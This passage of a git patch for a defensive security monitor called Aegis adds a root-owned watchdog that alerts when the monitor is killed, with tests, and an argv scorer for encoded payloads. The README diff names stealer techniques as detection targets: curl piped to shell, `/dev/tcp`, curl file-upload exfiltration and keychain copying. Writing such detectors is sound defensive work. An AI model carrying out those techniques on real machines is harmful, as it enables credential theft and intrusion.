msg]]) + for argv in cmds + [["logger", "-t", "aegis-rootwatch", msg]]: + try: + subprocess.run(argv, timeout=15, stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL) + except Exception: + pass # each sink is best-effort; the LOG line above is the anchor + print(msg, file=sys.stderr) + return 1 + + +if __name__ == "__main__": + sys.exit(main()) +''' + +_ROOTWATCH_SERVICE = """\ +[Unit] +Description=Aegis root witness (alerts when the user monitor stops beating) + +[Service] +Type=oneshot +ExecStart="%(py)s" "%(script)s" +# The witness only reads one heartbeat file and appends its own alert log. +NoNewPrivileges=true +""" + +_ROOTWATCH_TIMER = """\ +[Unit] +Description=Aegis root witness timer + +[Timer] +OnBootSec=2min +OnUnitActiveSec=%(interval)ds +Persistent=true + +[Install] +WantedBy=timers.target +""" + + +def _rootwatch_script_text(hb_path, uid, log_path, mac=IS_MAC): + """Generate the privileged witness with the watched user's paths, uid and + the watchdog's own staleness tolerance baked in at generation time.""" + return _ROOTWATCH_TEMPLATE.format(hb=hb_path, uid=int(uid), + tol=HEARTBEAT_STALE_SECS, log=log_path, + mac=bool(mac)) + + +def _rootwatch_plist_text(): + """The root LaunchDaemon: run the witness every ROOTWATCH_INTERVAL secs. + Paths are entity-escaped like the user agent's plist (the F0 lesson).""" + logdir = os.path.dirname(ROOTWATCH_LOG) + return ( + '\n' + '\n' + '\n \n' + ' Label\n %s\n' + ' ProgramArguments\n \n' + ' %s\n' + ' %s\n' + ' \n' + ' StartInterval\n %d\n' + ' RunAtLoad\n \n' + ' StandardOutPath\n %s\n' + ' StandardErrorPath\n %s\n' + ' \n\n' + % (ROOTWATCH_LABEL, _xml_escape(ROOTWATCH_PY), + _xml_escape(ROOTWATCH_SCRIPT), ROOTWATCH_INTERVAL, + _xml_escape(os.path.join(logdir, "rootwatch.out")), + _xml_escape(os.path.join(logdir, "rootwatch.err")))) + + +def _rootwatch_unit_texts(): + """(service, timer) for the SYSTEM systemd instance — not --user, which + would die with the session and be disable-able by the same uid.""" + service = _ROOTWATCH_SERVICE % {"py": ROOTWATCH_PY, + "script": ROOTWATCH_SCRIPT} + timer = _ROOTWATCH_TIMER % {"interval": ROOTWATCH_INTERVAL} + return service, timer + + +def _rootwatch_installed(): + """File presence only (no launchctl/systemctl call) — cheap enough for + the doctor line, and answerable without root on both platforms.""" + if IS_WIN: + return False + reg = ROOTWATCH_PLIST if IS_MAC else os.path.join(ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.timer") + return os.path.exists(ROOTWATCH_SCRIPT) and os.path.exists(reg) + + +def _rootwatch_target(): + """(uid, home) of the INSTALLING user under sudo. Refuses a bare root + shell: the witness watches ONE user's heartbeat and must know whose — + guessing (or defaulting to root's own empty ~/.aegis) would install a + watchdog that alarms forever or never.""" + sudo_uid = os.environ.get("SUDO_UID", "") + if not sudo_uid.isdigit() or int(sudo_uid) == 0: + return None, None + import pwd + try: + return int(sudo_uid), pwd.getpwuid(int(sudo_uid)).pw_dir + except Exception: + return None, None + + +def _write_root_file(path, text, mode): + """Atomic write for the root-owned artifacts: tmp in the SAME dir, fsync, + replace, chown root — never a half-written daemon definition, and never + a user-owned file at a root path.""" + d = os.path.dirname(path) + os.makedirs(d, mode=0o755, exist_ok=True) + tmp = os.path.join(d, ".%s.tmp%d" % (os.path.basename(path), os.getpid())) + fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, mode) + try: + with os.fdopen(fd, "w", encoding="utf-8") as f: + f.write(text) + f.flush() + os.fsync(f.fileno()) + os.chmod(tmp, mode) + os.chown(tmp, 0, 0) + os.replace(tmp, path) + except Exception: + try: + os.unlink(tmp) + except OSError: + pass + raise + + +def _rootwatch_audit(action, result, home): + """Append the install/uninstall record to the INVOKING user's + actions.jsonl — but only if that file already exists: creating it as root + would drop a root-owned file into user state, the exact failure the + generated script's header forbids. Best-effort by design; the root-owned + plist/unit itself is the durable record of what was installed.""" + path = os.path.join(home, ".aegis", "actions.jsonl") + if not os.path.isfile(path): + return + rec = {"ts": now_iso(), "action": action, "target": ROOTWATCH_SCRIPT, + "result": result} + try: + with open(path, "a", encoding="utf-8") as f: + f.write(json.dumps(rec, sort_keys=True) + "\n") + except Exception: + pass + + +def _rootwatch_install(): + """Root half of `rootwatch install` (reached only under sudo).""" + uid, home = _rootwatch_target() + if uid is None: + print("refuse: cannot tell whose heartbeat to watch — run via sudo " + "from your own account, not from a root shell (SUDO_UID is " + "how the witness learns its user).") + return 1 + if not os.path.exists(ROOTWATCH_PY): + print("refuse: %s not found — the root witness only ever runs a " + "root-owned system interpreter, never a user venv." + % ROOTWATCH_PY) + return 1 + hb = os.path.join(home, ".aegis", "heartbeat.json") + _write_root_file(ROOTWATCH_SCRIPT, + _rootwatch_script_text(hb, uid, ROOTWATCH_LOG), 0o755) + os.makedirs(os.path.dirname(ROOTWATCH_LOG), mode=0o755, exist_ok=True) + if IS_MAC: + _write_root_file(ROOTWATCH_PLIST, _rootwatch_plist_text(), 0o644) + # Idempotent like the user installer: unload any prior copy first. + run(["launchctl", "bootout", "system/%s" % ROOTWATCH_LABEL], + timeout=15) + _o, err, rc = run(["launchctl", "bootstrap", "system", + ROOTWATCH_PLIST], timeout=15) + if rc != 0: + print("rootwatch install FAILED: launchctl bootstrap: %s" + % (err or "").strip()) + return 1 + registered = "LaunchDaemon %s" % ROOTWATCH_LABEL + else: + service, timer = _rootwatch_unit_texts() + _write_root_file(os.path.join(ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.service"), + service, 0o644) + _write_root_file(os.path.join(ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.timer"), timer, 0o644) + run(["systemctl", "daemon-reload"], timeout=30) + _o, err, rc = run(["systemctl", "enable", "--now", + "aegis-rootwatch.timer"], timeout=30) + if rc != 0: + print("rootwatch install FAILED: systemctl enable --now: %s" + % (err or "").strip()) + return 1 + registered = "system timer aegis-rootwatch.timer" + _rootwatch_audit("rootwatch-install", + "installed for uid %d" % uid, home) + print("rootwatch installed: %s runs %s every %d min (watching %s)." + % (registered, ROOTWATCH_SCRIPT, ROOTWATCH_INTERVAL // 60, hb)) + print("Alerts append to %s and notify uid %d's session. Audit the " + "script — it is short on purpose." % (ROOTWATCH_LOG, uid)) + return 0 + + +def _rootwatch_uninstall(): + """Root half of `rootwatch uninstall`: unregister and remove the script + and schedule; the alert log is EVIDENCE and is deliberately kept.""" + if IS_MAC: + run(["launchctl", "bootout", "system/%s" % ROOTWATCH_LABEL], + timeout=15) + removed = [ROOTWATCH_PLIST, ROOTWATCH_SCRIPT] + else: + run(["systemctl", "disable", "--now", "aegis-rootwatch.timer"], + timeout=30) + removed = [os.path.join(ROOTWATCH_UNIT_DIR, "aegis-rootwatch.timer"), + os.path.join(ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.service"), + ROOTWATCH_SCRIPT] + for path in removed: + try: + os.remove(path) + except OSError: + pass + if IS_LINUX: + run(["systemctl", "daemon-reload"], timeout=30) + _uid, home = _rootwatch_target() + if home: + _rootwatch_audit("rootwatch-uninstall", "removed", home) + print("rootwatch removed. The alert log %s is kept — it is evidence." + % ROOTWATCH_LOG) + return 0 + + +def _rootwatch_status(): + """Report installed/registered/last-fired without root where possible. + /Library/LaunchDaemons and /etc/systemd/system are world-readable, and + the alert log is 0644, so everything here works unprivileged.""" + reg_path = ROOTWATCH_PLIST if IS_MAC else os.path.join( + ROOTWATCH_UNIT_DIR, "aegis-rootwatch.timer") + script = os.path.exists(ROOTWATCH_SCRIPT) + reg = os.path.exists(reg_path) + print("# Aegis rootwatch — opt-in ROOT witness\n") + if not script and not reg: + print(" absent — the kill gap is open: a same-uid attacker can kill " + "Aegis and the\n user-level watchdog together, and only the " + "notary would show it later.\n `aegis.py rootwatch install` " + "prints the sudo line that closes it.") + return 0 + print(" %s script %s" % ("✓" if script else "✗", ROOTWATCH_SCRIPT)) + print(" %s schedule %s" % ("✓" if reg else "✗", reg_path)) + if IS_MAC: + _o, _e, rc = run(["launchctl", "print", + "system/%s" % ROOTWATCH_LABEL], timeout=15) + else: + _o, _e, rc = run(["systemctl", "is-enabled", + "aegis-rootwatch.timer"], timeout=15) + print(" %s registered %s" + % ("✓" if rc == 0 else "?", + "loaded in the root domain" if rc == 0 + else "not reported loaded (the query itself may need root)")) + last = None + try: + with open(ROOTWATCH_LOG, "r", encoding="utf-8") as f: + for line in f: + last = line.strip() or last + except OSError: + last = None + if last: + print(" ! last alert %s" % last) + else: + print(" ✓ alerts none recorded") + if script and reg: + print("\n installed.") + else: + print("\n PARTIAL install — re-run `rootwatch install` (sudo).") + return 0 + + +def cmd_rootwatch(action="status"): + """OPT-IN root witness — see the block comment above. Never self-elevates: + without root, install/uninstall perform ZERO mutation and print the one + pasteable sudo line; `status` needs no root at all.""" + if action not in ("install", "status", "uninstall"): + print("usage: aegis.py rootwatch [install|status|uninstall]") + return 1 + if IS_WIN: + print("rootwatch is not built for Windows yet — a SYSTEM scheduled " + "task is future work; the user-level watchdog still runs.") + return 2 + if action == "status": + return _rootwatch_status() + if os.geteuid() != 0: + print("rootwatch makes no change without root: the witness must be " + "root-owned, or the\nsame-uid attacker who kills Aegis kills " + "it too. Review the generated script\n(it is under 60 lines), " + "then run:") + print(' sudo "%s" "%s" rootwatch %s' + % (sys.executable or "python3", _SELF_PATH, action)) + return 2 + return (_rootwatch_install() if action == "install" + else _rootwatch_uninstall()) + + # --------------------------------------------------------------------------- # # Proving a HUMAN approved something. # @@ -14773,6 +15179,13 @@ def cmd_guard(action="status", rest=None): bastion macOS only, OPT-IN, needs sudo: surface Apple's XProtect Behavioral (Bastion) violations Apple records but never alerts on + rootwatch [install|status|uninstall] + OPT-IN root witness (macOS/Linux; not built for Windows + yet): a <60-line root-owned script on a ROOT schedule that + alerts within minutes when the heartbeat dies — the one + watcher a same-uid attacker cannot kill along with Aegis. + Never self-elevates: run without root it changes nothing + and prints the sudo line for YOU. `status` needs no root RESPOND (opt-in; you run these by hand on a reviewed finding — never automatic) quarantine atomically confine a file or valid .app bundle @@ -14952,6 +15365,8 @@ def main(argv): return cmd_watchdog() if cmd == "bastion": return cmd_bastion() + if cmd == "rootwatch": + return cmd_rootwatch(argv[2] if len(argv) > 2 else "status") # --- response tier (opt-in) --- if cmd == "quarantine" and len(argv) > 2: return cmd_quarantine(argv[2]) diff --git a/tests/test_rootwatch.py b/tests/test_rootwatch.py new file mode 100644 index 0000000..e69e749 --- /dev/null +++ b/tests/test_rootwatch.py @@ -0,0 +1,388 @@ +#!/usr/bin/env python3 +"""Rootwatch (opt-in ROOT witness) — tests-first coverage for the kill gap. + +A same-uid attacker can kill Aegis AND the user-level watchdog agent in one +sweep; the notary only makes that evident later. `rootwatch` is the opt-in +answer: a tiny root-owned script on a root schedule that alerts within +minutes. These tests pin its whole contract: + + * the generated privileged script stays small enough to audit in one glance + (the smallness IS the security argument), imports only the stated stdlib + modules, and is executed for REAL (as the test user) against a fake + heartbeat dir — fresh beat exits 0 silently, stale/missing beat appends a + durable alert line, attempts the user notification (osascript/notify-send + stubbed via PATH), and NEVER writes into the user's ~/.aegis surrogate; + * the generated LaunchDaemon plist passes `plutil -lint` (macOS) and the + systemd system units have the right Linux shape; + * `rootwatch install` WITHOUT root provably mutates nothing and prints + exactly one pasteable sudo line — Aegis never self-elevates. + +Fully sandboxed like the rest of the suite: every ROOTWATCH_* path is +redirected into a per-test tmp dir; nothing here touches real /Library, +/etc, /var or ~/.aegis, and no real launchctl/systemctl/sudo ever runs. +""" +import contextlib +import io +import json +import os +import plistlib +import shutil +import subprocess +import sys +import tempfile +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 + +IS_POSIX = os.name == "posix" + +# Modules the privileged script is allowed to import — the audit budget the +# task and the script's own header comment both promise. +_ALLOWED_IMPORTS = {"json", "os", "subprocess", "sys", "time"} +_LINE_BUDGET = 60 + + +def _inventory(root): + """Names + sizes of everything under root — before/after mutation proof.""" + inv = {} + for base, dirs, files in os.walk(root): + for n in dirs: + inv[os.path.join(base, n)] = "dir" + for n in files: + p = os.path.join(base, n) + try: + inv[p] = os.stat(p).st_size + except OSError: + inv[p] = "unstattable" + return inv + + +def _imported_names(text): + names = set() + for line in text.splitlines(): + line = line.strip() + if line.startswith("import "): + for tok in line[len("import "):].split(","): + names.add(tok.strip().split(" as ")[0].split(".")[0]) + elif line.startswith("from "): + names.add(line.split()[1].split(".")[0]) + return names + + +class RootwatchSandbox(unittest.TestCase): + """Redirect every ROOTWATCH_* path (and STATE_DIR) into a throwaway tmp.""" + + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis_rw_") + # '&' in the log path exercises the plist XML-escape, the same F0 + # class the installer tests pin. + self.rootdir = os.path.join(self.tmp, "r & oot") + self._saved = {} + overrides = { + "ROOTWATCH_SCRIPT": os.path.join(self.rootdir, "libexec", + "aegis-rootwatch.py"), + "ROOTWATCH_PLIST": os.path.join(self.rootdir, "LaunchDaemons", + "com.aegis.rootwatch.plist"), + "ROOTWATCH_UNIT_DIR": os.path.join(self.rootdir, "systemd"), + "ROOTWATCH_LOG": os.path.join(self.rootdir, "Aegis", + "rootwatch.log"), + # NOT created: the non-root paths must never call ensure_state(). + "STATE_DIR": os.path.join(self.tmp, ".aegis"), + } + for name, val in overrides.items(): + self._saved[name] = getattr(aegis, name) + setattr(aegis, name, val) + # No real launchctl/systemctl query ever runs from these tests. + self._saved_run = aegis.run + aegis.run = lambda cmd, timeout=15, extra_env=None: ("", "", 3) + + def tearDown(self): + aegis.run = self._saved_run + for name, val in self._saved.items(): + setattr(aegis, name, val) + shutil.rmtree(self.tmp, ignore_errors=True) + + +# --------------------------------------------------------------------------- # +# The generated privileged script: shape and audit budget. +# --------------------------------------------------------------------------- # +class TestRootwatchScriptShape(unittest.TestCase): + def _text(self, mac): + return aegis._rootwatch_script_text( + "/home/u/.aegis/heartbeat.json", 501, + "/var/log/aegis/rootwatch.log", mac=mac) + + def test_script_fits_the_audit_budget(self): + for mac in (True, False): + text = self._text(mac) + self.assertLessEqual( + len(text.splitlines()), _LINE_BUDGET, + "the privileged script must stay auditable in one glance " + "(<= %d lines); it is the ONLY thing Aegis runs as root" + % _LINE_BUDGET) + compile(text, "aegis-rootwatch.py", "exec") # valid python + + def test_script_imports_only_the_stated_stdlib(self): + for mac in (True, False): + extra = _imported_names(self._text(mac)) - _ALLOWED_IMPORTS + self.assertFalse( + extra, "unexpected imports in the ROOT script: %s" % extra) + + def test_script_bakes_paths_uid_and_watchdog_tolerance(self): + text = self._text(mac=True) + self.assertIn("/home/u/.aegis/heartbeat.json", text) + self.assertIn("501", text) + self.assertIn("/var/log/aegis/rootwatch.log", text) + # Reuses cmd_watchdog's tolerance, not a second ad-hoc number. + self.assertIn(str(aegis.HEARTBEAT_STALE_SECS), text) + + +# --------------------------------------------------------------------------- # +# The generated LaunchDaemon plist (macOS) and systemd system units (Linux). +# --------------------------------------------------------------------------- # +@unittest.skipUnless(aegis.IS_MAC, "plutil is macOS-only; the Linux unit " + "shape is covered below on every platform") +class TestRootwatchPlist(RootwatchSandbox): + def test_plist_lints_and_targets_root_owned_paths(self): + text = aegis._rootwatch_plist_text() + path = os.path.join(self.tmp, "com.aegis.rootwatch.plist") + with open(path, "w", encoding="utf-8") as f: + f.write(text) + lint = subprocess.run(["plutil", "-lint", path], + capture_output=True, text=True) + self.assertIn("OK", lint.stdout, lint.stdout + lint.stderr) + with open(path, "rb") as f: + d = plistlib.load(f) + self.assertEqual(d["Label"], "com.aegis.rootwatch") + # A root daemon must run the root-owned system interpreter and the + # root-owned script — never a venv python or a $HOME path. + self.assertEqual(d["ProgramArguments"], + [aegis.ROOTWATCH_PY, aegis.ROOTWATCH_SCRIPT]) + self.assertEqual(d["StartInterval"], aegis.ROOTWATCH_INTERVAL) + self.assertTrue(d.get("RunAtLoad")) + + +class TestRootwatchUnits(RootwatchSandbox): + def test_linux_units_have_system_timer_shape(self): + service, timer = aegis._rootwatch_unit_texts() + self.assertIn("Type=oneshot", service) + self.assertIn('ExecStart="%s" "%s"' + % (aegis.ROOTWATCH_PY, aegis.ROOTWATCH_SCRIPT), service) + self.assertIn("OnUnitActiveSec=%ds" % aegis.ROOTWATCH_INTERVAL, timer) + self.assertIn("Persistent=true", timer) + self.assertIn("WantedBy=timers.target", timer) + + +# --------------------------------------------------------------------------- # +# The GENERATED script, executed for real against a fake heartbeat dir. +# --------------------------------------------------------------------------- # +@unittest.skipUnless(IS_POSIX, "executes the generated script with /bin/sh " + "PATH stubs for launchctl/osascript/notify-send") +class TestRootwatchScriptExecution(unittest.TestCase): + UID = 501 + + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis_rwx_") + self.aegis_dir = os.path.join(self.tmp, "home", ".aegis") + os.makedirs(self.aegis_dir) + self.hb = os.path.join(self.aegis_dir, "heartbeat.json") + self.log = os.path.join(self.tmp, "rootlog", "rootwatch.log") + self.calls = os.path.join(self.tmp, "calls.log") + self.bin = os.path.join(self.tmp, "bin") + os.makedirs(self.bin) + for name in ("launchctl", "osascript", "logger", "notify-send", "wall"): + stub = os.path.join(self.bin, name) + with open(stub, "w") as f: + f.write('#!/bin/sh\necho "%s $@" >> "%s"\nexit 0\n' + % (name, self.calls)) + os.chmod(stub, 0o755) + + def tearDown(self): + shutil.rmtree(self.tmp, ignore_errors=True) + + def _run(self, mac, beat_epoch="absent"): + if beat_epoch != "absent": + with open(self.hb, "w") as f: + json.dump({"epoch": beat_epoch, "pid": 1234}, f) + script = os.path.join(self.tmp, "aegis-rootwatch.py") + with open(script, "w", encoding="utf-8") as f: + f.write(aegis._rootwatch_script_text(self.hb, self.UID, self.log, + mac=mac)) + before = _inventory(self.aegis_dir) + r = subprocess.run( + [sys.executable, script], capture_output=True, text=True, + timeout=60, env={"PATH": self.bin, "HOME": self.tmp}) + # The doctrine the script's header states: it NEVER writes into the + # user's ~/.aegis (root-owned files there would break Aegis's own + # atomic-replace assumptions). + self.assertEqual(before, _inventory(self.aegis_dir), + "the ROOT script wrote into the user's state dir") + return r + + def _stub_calls(self): + if not os.path.exists(self.calls): + return "" + with open(self.calls) as f: + return f.read() + + def test_fresh_beat_exits_zero_silently(self): + r = self._run(mac=True, beat_epoch=int(time.time())) + self.assertEqual(r.returncode, 0, r.stderr) + self.assertEqual(r.stdout, "") + self.assertEqual(r.stderr, "") + self.assertFalse(os.path.exists(self.log), "healthy => no alert line") + self.assertEqual(self._stub_calls(), "", "healthy => no notification") + + def test_stale_beat_alerts_and_notifies_mac_shape(self): + stale = int(time.time()) - aegis.HEARTBEAT_STALE_SECS - 600 + r = self._run(mac=True, beat_epoch=stale) + self.assertNotEqual(r.returncode, 0) + with open(self.log) as f: + line = f.read() + self.assertIn("NOT beating", line) + calls = self._stub_calls() + self.assertIn("launchctl asuser %d osascript" % self.UID, calls) + self.assertIn("logger", calls) + + def test_stale_beat_notifies_linux_shape(self): + stale = int(time.time()) - aegis.HEARTBEAT_STALE_SECS - 600 + r = self._run(mac=False, beat_epoch=stale) + self.assertNotEqual(r.returncode, 0) + calls = self._stub_calls() + self.assertIn("notify-send", calls) + self.assertIn("wall", calls) + self.assertIn("logger", calls) + + def test_missing_beat_is_stale_not_healthy(self): + r = self._run(mac=True, beat_epoch="absent") + self.assertNotEqual( + r.returncode, 0, + "a WIPED ~/.aegis must read as a dead monitor, not a healthy one " + "(the same suppression cmd_watchdog's `armed` logic closes)") + with open(self.log) as f: + self.assertIn("NOT beating", f.read()) + + +# --------------------------------------------------------------------------- # +# `rootwatch` without root: zero mutation, one pasteable line. And status / +# doctor never need root. +# --------------------------------------------------------------------------- # +@unittest.skipUnless(IS_POSIX and os.geteuid() != 0, + "needs an unprivileged POSIX user") +class TestRootwatchNonRoot(RootwatchSandbox): + def _call(self, action): + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + rc = aegis.cmd_rootwatch(action) + return rc, buf.getvalue() + + def test_nonroot_install_mutates_nothing_and_prints_one_pasteable(self): + before = _inventory(self.tmp) + rc, out = self._call("install") + self.assertEqual(rc, 2) + sudo_lines = [l for l in out.splitlines() + if l.strip().startswith("sudo ")] + self.assertEqual(len(sudo_lines), 1, + "exactly ONE pasteable line:\n%s" % out) + self.assertIn("rootwatch install", sudo_lines[0]) + # Paths are quoted (this repo lives under "Work & Projects"). + self.assertIn('"%s"' % aegis._SELF_PATH, sudo_lines[0]) + self.assertEqual(before, _inventory(self.tmp), + "non-root install must perform ZERO mutation") + self.assertFalse(os.path.exists(aegis.STATE_DIR), + "non-root install must not even create state") + + def test_nonroot_uninstall_also_only_prints_the_line(self): + before = _inventory(self.tmp) + rc, out = self._call("uninstall") + self.assertEqual(rc, 2) + self.assertEqual( + len([l for l in out.splitlines() + if l.strip().startswith("sudo ")]), 1) + self.assertEqual(before, _inventory(self.tmp)) + + def test_status_reports_absent_without_root_or_mutation(self): + before = _inventory(self.tmp) + rc, out = self._call("status") + self.assertEqual(rc, 0) + self.assertIn("absent", out) + self.assertIn("kill gap", out) + self.assertEqual(before, _inventory(self.tmp)) + + def test_status_reports_installed_pieces(self): + for p in (aegis.ROOTWATCH_SCRIPT, + aegis.ROOTWATCH_PLIST if aegis.IS_MAC else + os.path.join(aegis.ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.timer")): + os.makedirs(os.path.dirname(p), exist_ok=True) + with open(p, "w") as f: + f.write("x") + self.assertTrue(aegis._rootwatch_installed()) + rc, out = self._call("status") + self.assertEqual(rc, 0) + self.assertIn("installed", out) + + def test_bad_action_prints_usage(self): + rc, out = self._call("bogus") + self.assertEqual(rc, 1) + self.assertIn("usage", out) + + +class TestRootwatchWindowsHonesty(unittest.TestCase): + def test_windows_says_future_work_and_refuses(self): + saved = (aegis.IS_MAC, aegis.IS_LINUX, aegis.IS_WIN) + aegis.IS_MAC, aegis.IS_LINUX, aegis.IS_WIN = False, False, True + try: + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + rc = aegis.cmd_rootwatch("install") + self.assertEqual(rc, 2) + self.assertIn("future work", buf.getvalue()) + self.assertFalse(aegis._rootwatch_installed()) + finally: + aegis.IS_MAC, aegis.IS_LINUX, aegis.IS_WIN = saved + + +# --------------------------------------------------------------------------- # +# Doctor tie-in: absence is INFO ("the kill gap is open"), never a problem. +# --------------------------------------------------------------------------- # +@unittest.skipUnless(IS_POSIX, "the rootwatch doctor line is absent on " + "Windows, where rootwatch is not built") +class TestRootwatchDoctorLine(RootwatchSandbox): + def _doctor(self): + saved = (aegis.get_sensor_health, aegis.list_incidents, aegis.EVENT_DB) + aegis.get_sensor_health = lambda: [] + aegis.list_incidents = lambda: [] + aegis.EVENT_DB = os.path.join(self.tmp, ".aegis", "aegis.db") + try: + buf = io.StringIO() + with contextlib.redirect_stdout(buf): + rc = aegis.cmd_doctor() + return rc, buf.getvalue() + finally: + (aegis.get_sensor_health, aegis.list_incidents, + aegis.EVENT_DB) = saved + + def test_absent_is_one_info_line_and_never_degrades(self): + rc_absent, out = self._doctor() + self.assertIn("kill gap is open", out) + self.assertIn("rootwatch install", out) + # Install the artifacts; the doctor verdict must not change — the + # rootwatch line is INFO for an opt-in, not a problem. + for p in (aegis.ROOTWATCH_SCRIPT, + aegis.ROOTWATCH_PLIST if aegis.IS_MAC else + os.path.join(aegis.ROOTWATCH_UNIT_DIR, + "aegis-rootwatch.timer")): + os.makedirs(os.path.dirname(p), exist_ok=True) + with open(p, "w") as f: + f.write("x") + rc_installed, out2 = self._doctor() + self.assertNotIn("kill gap is open", out2) + self.assertEqual(rc_absent, rc_installed, + "rootwatch presence must not change the verdict") + + +if __name__ == "__main__": + unittest.main() From eddbc1f31f098e032c574c85e14b4e63b1ddb307 Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 08:29:36 -0700 Subject: [PATCH 05/11] =?UTF-8?q?feat(aegis):=20obfuscated-payload=20argv?= =?UTF-8?q?=20scoring=20=E2=80=94=20the=20encoded=20family=20the=20idiom?= =?UTF-8?q?=20tables=20can't=20see?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Detect an interpreter invoked with an inline-code flag (bash/sh/zsh/dash/ksh -c, python -c, node -e/--eval, perl/ruby/osascript -e, powershell -enc/-Command) whose code argument carries an encoded payload: - Gate 1 (mandatory): interpreter + code-exec flag. Electron helpers, JWTs and cloud-CLI opaque argv are structurally out of scope — never entropy-scored. - Gate 2a: a >=100-char base64/base64url-alphabet run that really decodes at >=4.5 bits/char Shannon entropy (random b64 ~5.8, b64-of-text ~5.3, benign ceiling ~4.3). Alphabet purity enforced: '+/' mixed with '-_' decodes under no base64 flavor — that mix is exactly a UUID/hash PATH, the one benign class measured to clear the entropy floor on this machine's live table. - Gate 2b: in-process decode+execute composition (eval(Buffer.from(..,'base64')), exec(base64.b64decode(..)), atob/fromCharCode) — the argv twin of the supply-chain js-encoded-loader, sharing _PKG_JS_DECODE_RES. Severity: MEDIUM alone (below the notify floor, corroboration fodder); HIGH only when the same argv also fetches or feeds the blob into a recognized exec sink. powershell -enc defers to the existing powershell-encoded-command idiom (already HIGH) — one argv, one strongest finding, stable fingerprint. Measured on this Mac's live process table: 611 processes, 417 same-user, 13 gate-1 matches, 2 candidate blob runs (both paths, both rejected), 0 false positives. Full suite 671 -> 682, green; adversarial argv timing linear (<=73ms at 85KB). Co-Authored-By: Claude Fable 5 --- README.md | 1 + aegis.py | 141 +++++++++++++++++++++++++++++++++++++++ tests/test_regression.py | 113 +++++++++++++++++++++++++++++++ 3 files changed, 255 insertions(+) diff --git a/README.md b/README.md index 164c66d..a1222bc 100644 --- a/README.md +++ b/README.md @@ -97,6 +97,7 @@ Runs `aegis.py scan` on an interval and reports/alerts on: | **Persistence watch** | New/changed launchd agents & daemons + cron, each program hashed + signature-classified, diffed vs baseline — **arguments inspected** (`bash -c "curl…\|sh"`, `base64 -d\|sh`, `/dev/tcp`), **DYLD_* injection env flagged**, **an interpreter run against a hidden `$HOME`/tmp script caught** (AMOS `/bin/bash ~/.agent`), and **vendor-label impersonation caught** (a `com.apple.*` / `com.google.*` / `com.microsoft.*` plist whose program isn't signed by that vendor's Team ID — RustBucket's `com.apple.systemupdate` behind a hijacked cert, ClickFix's fake `com.google.keystone`) | The #1 macOS infostealer signal — AMOS/Atomic, Poseidon/Odyssey persist via `LaunchAgents`/`LaunchDaemons` | | **Process watch** | Running processes whose executable is unsigned/ad-hoc **and** in a user-writable path | Malware runs ad-hoc-signed binaries from `/tmp`, `~/`, `/Users/Shared` | | **Behavioral watch** *(new)* | The full **command line** of every same-user process, scored for the fileless-stealer TTPs: a fake `osascript … display dialog … hidden answer` **password phish** (CRITICAL), `dscl . -authonly` local-password check, `xattr -c/-d com.apple.quarantine` **provenance strip**, `hdiutil attach -nobrowse` **invisible DMG mount**, `tccutil reset`, a `login.keychain-db` copy, a `curl -F file=@/tmp/*.zip` **exfil POST**, and a `curl … \| bash/osascript` **fileless pipeline** | The dominant 2025-26 stealer TTP is fileless — it runs through Apple-signed interpreters (bash/osascript/curl) whose *path* is trusted, so only the argv reveals the attack. This is the biggest coverage gain in this release | +| **Obfuscated-payload argv** *(new)* | An interpreter's **inline-code flag** (`bash -c`, `python3 -c`, `node -e`, `perl/ruby/osascript -e`, `powershell -Command`) whose code argument carries an **encoded payload**: a ≥100-char base64-alphabet run that really decodes at ≥4.5 bits/char entropy, or an in-process **decode+execute** composition (`eval(Buffer.from(…,'base64'))`, `exec(base64.b64decode(…))`). MEDIUM alone (corroboration); HIGH when a fetch or exec sink co-occurs. The interpreter gate is mandatory, so Electron helpers/JWTs/cloud-CLI opaque argv are structurally out of scope. Measured live: 611 processes, **zero** false positives | The idiom tables above key on known hostile strings — packing the same logic in base64 sheds every one of them. The shape (interpreter + code flag + opaque blob) is the hard-to-vary invariant that catches the family not yet catalogued | | **XProtect harvest** *(new)* | Reads Apple's own **XProtect Remediator** detections straight from the unified log (`com.apple.XProtectFramework.PluginAPI`) — a `status != NoThreatDetected` event means Apple's engine found/removed malware (CRITICAL) — plus flags **stale XProtect definitions** (>60 days) | Piggybacks Apple's professionally-maintained, always-updating signature/behavioral engine for free — no entitlement, no cloud. The single highest-value signal a signature-less tool can add | | **Hot-dir watch** | Freshly-dropped unsigned Mach-O executables **and `.app` bundles** in Downloads/Desktop/tmp/Shared, tagged with **full download provenance** — not just *whether* a quarantine flag exists but **who** downloaded it and **from what URL**, resolved from the user's own `QuarantineEventsV2` store and the Chrome-family `downloads` table (both same-user-readable, **no Full Disk Access**). A binary with *no* quarantine flag bypassed Gatekeeper (side-loaded via `curl`/`scp`/AirDrop); one from a **trusted origin** (github/apple/brew/npm/pypi…) is demoted to the digest instead of notifying — provenance grades the finding, and because an attacker can supply it, it only ever *lowers* confidence, never severity, and never closes a finding (a timestomped file is never demoted). A fresh signed-but-**unnotarized** app additionally gets Gatekeeper's own `spctl` verdict surfaced (MEDIUM — a normal quarantined launch would refuse it, so one that runs was side-loaded or force-approved) | Catches a payload the moment it lands, before it runs — including the #1 delivery shape, a DMG/ZIP-dragged `.app`, which is a *directory* and invisible to any file-only check | | **Staging watch** *(new)* | Documented stealer **loot-staging artifacts** in `/tmp`/`/Users/Shared` — `app.zip` (Atomic), `ledger.zip` (Odyssey/Poseidon), `salmonela.zip` (MacSync), `wid.txt`, `.pass`, `shub_*`, a copied `login.keychain-db` | Smash-and-grab stealers stage loot then exfil in under a minute, leaving no persistence — this catches the residue | diff --git a/aegis.py b/aegis.py index d9bb21a..2322162 100755 --- a/aegis.py +++ b/aegis.py @@ -133,8 +133,10 